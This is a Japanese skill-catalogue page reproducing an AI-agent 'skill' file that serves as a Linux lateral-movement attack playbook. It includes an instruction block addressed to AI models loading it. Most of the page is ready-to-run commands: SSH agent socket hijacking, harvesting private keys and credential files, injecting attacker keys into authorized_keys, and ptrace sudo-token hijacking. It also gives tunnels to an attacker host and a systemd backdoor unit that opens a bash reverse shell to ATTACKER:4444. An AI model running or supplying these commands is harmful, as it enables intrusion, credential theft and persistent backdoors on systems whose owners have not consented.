linux-lateral-movement
初期アクセス取得後にLinux環境内で横断的移動を行うためのプレイブック。SSHハイジャック、クレデンシャル収集、内部ピボット、D-Busの悪用、sudoトークンの再利用、共有ファイルシステムの悪用を通じて、複数のLinuxホスト間を横断的に侵害する際に使用する。
description の原文を見る
>- Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.
SKILL.md 本文
SKILL: Linux Lateral Movement — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
0. RELATED ROUTING
詳しく説明する前に、以下の読み込みを検討してください:
linux-privilege-escalationピボット前に現在のホストでroot権限が必要な場合linux-security-bypass制限されたシェルまたはセキュリティモジュールが横展開ツールをブロックしている場合container-escape-techniquesターゲットネットワークにコンテナ化されたホストが含まれている場合kubernetes-pentestingKubernetesクラスターへのピボット時unauthorized-access-common-services検出された内部サービス(Redis、MongoDBなど)を悪用する場合
1. SSH AGENT HIJACKING
1.1 SSH Agent ソケットの検索
# Root権限(または他ユーザーのプロセスにアクセス可能):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# または /proc経由:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
# 典型的なパス: /tmp/ssh-XXXXXX/agent.PID
1.2 Agent フォワーディングのハイジャック
# 見つけたソケットを認証エージェントとして設定
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
# エージェント内で利用可能なキーをリストアップ
ssh-add -l
# キーが表示される → 使用可能
# このエージェントが認証できるホストへSSH接続
ssh -o StrictHostKeyChecking=no user@internal-host
# エージェント所有者は気付かない — フォワードされたエージェントを使用している
1.3 永続的なエージェント監視
# 新しいSSH agentソケットを監視(admin がSSHで接続するまで待機)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# または ポーリング:
while true; do
find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
touch /tmp/.marker
sleep 5
done
2. SSH KEY HARVESTING
2.1 秘密鍵ロケーション
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# また: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*
# パスフレーズなしのキーを検索:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done
2.2 known_hosts のパース
# ハッシュ化された known_hosts (一般的なデフォルト):
cat ~/.ssh/known_hosts
# ハッシュ化されているかもしれません — ssh-keygent で既知IPを確認:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
# ハッシュ化されていない known_hosts → 直接IPやホスト名リスト
awk '{print $1}' ~/.ssh/known_hosts | sort -u
# すべてのユーザーの known_hosts からすべてのホスト名/IPを抽出
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
| awk '{print $1}' | tr ',' '\n' | sort -u
2.3 authorized_keys インジェクション
# 攻撃者キーペアを生成(攻撃者ボックス上)
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
# 公開鍵を注入(侵害されたホスト上)
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
# 我々のキーで SSHで戻る
ssh -i /tmp/pivot_key root@target
3. CREDENTIAL HARVESTING ロケーション
3.1 システム認証情報
| ロケーション | 内容 | コマンド |
|---|---|---|
/etc/shadow | パスワードハッシュ | cat /etc/shadow (root) |
/etc/passwd | ユーザーリスト、ハッシュ含む場合あり | cat /etc/passwd |
.bash_history | コマンド履歴(クリアテキストのパスワード) | cat /home/*/.bash_history |
.mysql_history | MySQLコマンドとパスワード | cat /home/*/.mysql_history |
.psql_history | PostgreSQL コマンド | cat /home/*/.psql_history |
.pgpass | PostgreSQL パスワードファイル | cat /home/*/.pgpass |
.my.cnf | MySQL認証情報 | cat /home/*/.my.cnf |
.netrc | FTP/HTTP自動ログイン認証情報 | cat /home/*/.netrc |
.git-credentials | Git HTTPSパスワード | cat /home/*/.git-credentials |
3.2 環境変数 & コンフィグファイル
# 現在のプロセスシークレット
env | grep -iE "pass|key|secret|token|api|cred|auth"
# すべてのプロセス環境(root):
for pid in /proc/[0-9]*; do
cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done
# アプリケーション設定(一般的な認証情報ロケーション):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
# キーリング & シークレットストア:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null
4. D-BUS EXPLOITATION
4.1 D-Bus サービスの列挙
# システムバスサービスをリストアップ
dbus-send --system --dest=org.freedesktop.DBus \
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
# セッションバスサービスをリストアップ
dbus-send --session --dest=org.freedesktop.DBus \
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
# サービスのイントロスペクト(利用可能なメソッドを検索)
dbus-send --system --dest=org.freedesktop.systemd1 \
--type=method_call --print-reply \
/org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
4.2 D-Bus 経由で systemd & PolicyKit を悪用
# D-Bus経由でサービスを開始(ポリシーが許可している場合):
dbus-send --system --dest=org.freedesktop.systemd1 \
--type=method_call --print-reply /org/freedesktop/systemd1 \
org.freedesktop.systemd1.Manager.StartUnit \
string:"malicious.service" string:"replace"
# 認証なしで利用可能な polkit アクション:
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"
5. INTERNAL NETWORK PIVOTING
5.1 SSH トンネリング
# ローカルポートフォワード: localhost:3306 経由で INTERNAL_HOST:3306 にアクセス
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host
# リモートポートフォワード: 攻撃者サービスを内部ネットワークに公開
ssh -R 8080:ATTACKER:8080 pivot@compromised-host
# Dynamic SOCKSプロキシ: すべてのトラフィックをピボット経由でルート
ssh -D 1080 pivot@compromised-host
# その後: proxychains nmap -sT INTERNAL_RANGE
# SSH over SSH(マルチホップ):
ssh -J user1@hop1,user2@hop2 target@final-host
5.2 SSH なし — 代替トンネル
# socat ポートフォワード
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &
# ncat リレー
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"
# /dev/tcp (Bash 組み込み、ツール不要)
exec 3<>/dev/tcp/INTERNAL_HOST/80
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
cat <&3
# chisel (HTTP経由SOCKSプロキシ)
# 攻撃者側: chisel server -p 8080 --reverse
# ターゲット側: chisel client ATTACKER:8080 R:socks
5.3 侵害されたホストからのネットワーク発見
ss -tlnp && ss -tnp # リッスン & 確立された接続
arp -a && ip neigh # 既知の隣接ホスト
cat /etc/resolv.conf # DNSサーバー
dig axfr internal.domain @dns 2>/dev/null # ゾーン転送
# サブネットスイープ(bash のみ、ツール不要):
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait
# /dev/tcp 経由ポートスキャン:
for port in 22 80 443 3306 5432 6379 8080; do
(echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
done
6. SHARED FILESYSTEM EXPLOITATION
6.1 NFS マウント
# NFS共有の検出
showmount -e FILESERVER_IP 2>/dev/null
# no_root_squash を確認(rootがrootにマップ)
mount -t nfs FILESERVER_IP:/share /mnt/nfs
# no_root_squash の場合: 他のホストから見えるSUIDバイナリを作成
# 同じ共有をマウントするすべてのホスト → SUID バイナリ = すべてのホストでroot
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
6.2 SMB/CIFS 共有
# 共有を列挙
smbclient -L //FILESERVER_IP/ -N 2>/dev/null # Null セッション
smbclient -L //FILESERVER_IP/ -U 'user%password'
# マウントして認証情報を検索
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
-o -name "*.xlsx" -o -name "*.docx" 2>/dev/null
7. SUDO TOKEN REUSE (ptrace-Based)
# 別のユーザーがアクティブな sudo セッション(タイムスタンプが期限切れでない)を持つ場合:
# かつ、我々がそのプロセスを ptrace できる場合(同じUID または root)
# sudo タイムスタンプファイルを確認:
ls -la /var/run/sudo/ts/ 2>/dev/null
ls -la /var/db/sudo/ 2>/dev/null
# ここにファイルがある = アクティブな sudo トークン
# ptrace ベースハイジャック:
# ユーザーのシェルプロセスにアタッチ
# インジェクト: sudo /bin/bash
# インジェクトされたsudo は有効なタイムスタンプを継承 → パスワード不要
# 自動化ツール: sudo_inject
# https://github.com/nongiach/sudo_inject
# 有効な sudo トークン持つプロセスにインジェクト
8. SYSTEMD SERVICE MANIPULATION
# 書き込み可能なユニットファイルを検索:
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null
# 既存サービスに注入(ExecStartPre= を追加):
# または新規作成: /etc/systemd/system/backdoor.service
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
systemctl daemon-reload && systemctl enable --now backdoor.service
9. LATERAL MOVEMENT DECISION TREE
侵害されたホスト — 次はどこへ移動?
│
├── SSH認証情報は利用可能?
│ ├── 秘密鍵が見つかった? → すべての known_hosts ターゲットで試行(§2)
│ ├── SSH agent 実行中? → ソケットをハイジャック(§1)
│ ├── パスワードが履歴/設定にある? → ホスト間でスプレー(§3)
│ └── 他のホストで authorized_keys 書き込み可能? → キーをインジェクト(§2.3)
│
├── ネットワークサービスが検出された?
│ ├── 内部Webアプリ? → トンネル + 攻撃(§5.1)
│ ├── データベース(3306/5432/6379)? → 収集された認証情報を確認(§3)
│ ├── SMB/NFS 共有? → マウント + 認証情報/SUID を検索(§6)
│ └── Kubernetes API (6443)? → kubernetes-pentesting skill を読み込み
│
├── 他のホストに到達可能?
│ ├── 直接SSH? → キー/パスワードを使用
│ ├── ファイアウォール設定? → SSH トンネルまたは chisel(§5)
│ └── ツールなし? → /dev/tcp + bash(§5.2)
│
├── 現在のホストで Root?
│ ├── /etc/shadow を読み込む → ハッシュをクラック → パスワード再利用(§3)
│ ├── /proc/*/environ をダンプ → サービス認証情報を検索(§3.2)
│ ├── sudo トークンをハイジャック → admin セッションに相乗り(§7)
│ └── systemd サービスを変更 → バックドア(§8)
│
├── D-Bus サービスが利用可能?
│ ├── 特権サービスが公開? → メソッドコール悪用(§4)
│ └── 認証なしの polkit アクション? → 特権アクション(§4.2)
│
└── 明らかなパスがない?
├── ARP スキャン + ポートスイープ内部ネットワーク(§5.3)
├── パッシブ認証情報スニッフィング(cap_net_raw がある場合)
├── admin SSH を待機 → agent をハイジャック(§1.3)
└── クラウドメタデータを確認(169.254.169.254)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。